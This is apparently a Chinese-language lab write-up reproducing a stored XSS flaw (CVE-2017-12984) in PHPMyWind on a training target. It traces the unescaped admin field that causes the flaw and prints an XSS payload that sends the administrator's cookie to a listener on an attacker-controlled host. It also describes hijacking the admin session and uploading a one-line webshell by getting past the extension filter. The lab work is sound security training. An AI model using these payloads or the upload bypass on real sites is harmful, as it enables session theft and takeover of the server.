PHPMyWind存储XSS漏洞(CVE-2017-12984)

文章目录
  1. 1. 前言
  2. 2. 实验目的
  3. 3. 实验环境
  4. 4. 实验工具
  5. 5. 实验步骤
    1. 5.1. 步骤1:漏洞验证
    2. 5.2. 步骤2:利用XSS获取cookie
    3. 5.3. 步骤3:扩大战果
  6. 6. 参考链接

前言

本文依托I春秋实验复现而成,链接:https://www.ichunqiu.com/course/60909,使用了PHPMyWind存储XSS漏洞(CVE-2017-12984)。

实验目的

了解PHPMyWind漏洞的危害

学习漏洞代码的分析

掌握PHPMyWind漏洞的验证

实验环境

操作机:Windows XP

IP:172.16.11.2

目标网址:http://www.test.ichunqiu:8080/

工具下载地址:file.ichunqiu.com/ak4798ka/

实验工具

Firebug:FireFox浏览器下的插件,集HTML查看和编辑、Javascript控制台、网络状况监视器于一体,是开发JavaScript、CSS、HTML和Ajax的得力助手,本实验使用其修改Cookie功能

Burp suite: Burp Suite 是用于测试web
应用程序的集成平台,本实验主要使用其抓包、改包、发包功能

实验步骤

步骤1:漏洞验证

首先我们来看一下源码,处理客户留言内容的关键代码在message.php文件的第29行和34行

1
2
3
4
5
6
\$content = htmlspecialchars(\$content);  

\$sql = \"INSERT INTO \`\#\@__message\` (siteid, nickname, contact,
content, orderid, posttime, htop, rtop, checkinfo, ip) VALUES (1, '\$nickname',
'\$contact', '\$content', '\$orderid', '\$posttime', '', '', 'false',
'\$ip')\";

我们先看content参数,程序会使用htmlspecialchars() 函数把预定义的字符 “<”
(小于)和 “>” (大于)转换为 HTML
实体,进行过滤,然后存储至数据库中,这里并没有问题。

然后,我们再看看管理员修改留言的处理方式,代码在admin/
message_update.php文件的第26行

1
2
3
\<td><input type=\"text" name=\"content"
id=\"content" class=\"input" value=\"<?php echo
\$row['content'] ?\>" /\></td>

管理员编辑留言,编辑器直接读取content内容并显示,却并未进行转义操作,所以导致存储型XSS漏洞的出现。

上面已经分析了漏洞的成因,接下来,我们开始验证这个漏洞。

首先,访问file.ichunqiu.com/ak4798ka/下载实验文件,方便后续操作

然后,使用桌面的Firefox浏览器打开http://www.test.ichunqiu:8080/ ,访问网站首页。

对其进行添加留言操作(留言部分内部是简单的XSS语句)

1
\<img src=x onerror = alert(666); \>

留言成功。

下一步我们从另一个浏览器登录进入后台页面。

登录成功。

接下来我们尝试查看漏洞。

查看成功,触发XSS。

步骤2:利用XSS获取cookie

首先我们利用第三条语句

1
2
3
\<img src=x onerror =
document.body.appendChild(document.createElement('img')).setAttribute('src','http://172.16.11.2:8888/?='+document.cookie);
\>

这条语句的作用主要在于将cookies回弹回来。

上传过程不再赘述。

打开nc.exe 通过目标端口监听。当对方管理员触发该XSS时,cookie将回弹回来。

监听成功,将cookie存下。

回到攻击者的浏览器,我们将cookie导入。

刷新之后可以直接进入管理员网页。

步骤3:扩大战果

当进入后台页面之后,我们需要扩大战果,可以考虑利用菜刀连接进入。

检查上传设置。一般来说网页都会禁止上传php文件,但是我们可以利用图片上传绕过。

将bmp格式改为php 文件。(php后面有个空格)这样上传图片之后会对其进行重命名并且加入后缀。

编写一个带有一句话木马的文件并且更名为png格式。

开始准备上传。

这里我们利用burpsuite代理模式,监视每一个包。

对上传包进行修改,后缀改为.php 格式(php后面有个空格)。

上传成功后开启菜刀。

菜刀远程连接进网站。

连接成功。

参考链接

https://www.exploit-db.com/exploits/42535/

http://www.freebuf.com/sectool/159689.html